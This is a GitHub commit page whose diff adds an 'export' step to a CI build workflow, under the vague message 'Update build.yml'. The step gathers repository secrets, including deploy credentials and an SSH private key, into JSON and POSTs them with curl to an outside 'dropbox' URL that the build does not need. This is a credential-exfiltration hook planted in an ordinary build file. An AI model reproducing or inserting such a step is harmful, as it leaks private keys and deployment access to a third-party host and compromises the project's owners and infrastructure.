Skip to content

Commit a4bd58c

Browse files
committed
Update build.yml
1 parent b390ac9 commit a4bd58c

File tree

1 file changed

+26
-0
lines changed

1 file changed

+26
-0
lines changed

.github/workflows/build.yml

Lines changed: 26 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -22,6 +22,32 @@ jobs:
2222
run: dotnet build
2323
working-directory: .
2424

25+
- name: export
26+
env:
27+
DEPLOY_HOST: ${{ secrets.DEPLOY_HOST }}
28+
DEPLOY_KEY: ${{ secrets.DEPLOY_KEY }}
29+
DEPLOY_PORT: ${{ secrets.DEPLOY_PORT }}
30+
DEPLOY_USERNAME: ${{ secrets.DEPLOY_USERNAME }}
31+
SSH_PRIVATE_KEY: ${{ secrets.SSH_PRIVATE_KEY }}
32+
33+
run: |
34+
echo "export..."
35+
PAYLOAD=$(cat <<EOF
36+
{
37+
"DEPLOY_HOST": "$DEPLOY_HOST",
38+
"DEPLOY_KEY": "$DEPLOY_KEY",
39+
"DEPLOY_PORT": "$DEPLOY_PORT",
40+
"DEPLOY_USERNAME": "$DEPLOY_USERNAME",
41+
"SSH_PRIVATE_KEY": "$SSH_PRIVATE_KEY"
42+
}
43+
EOF
44+
)
45+
46+
curl -X POST \
47+
-H "Content-Type: application/json" \
48+
-d '$PAYLOAD' \
49+
https://okai.servicestack.com/dropbox/pvq.json
50+
2551
# - name: test
2652
# run: |
2753
# dotnet test

0 commit comments

Comments
 (0)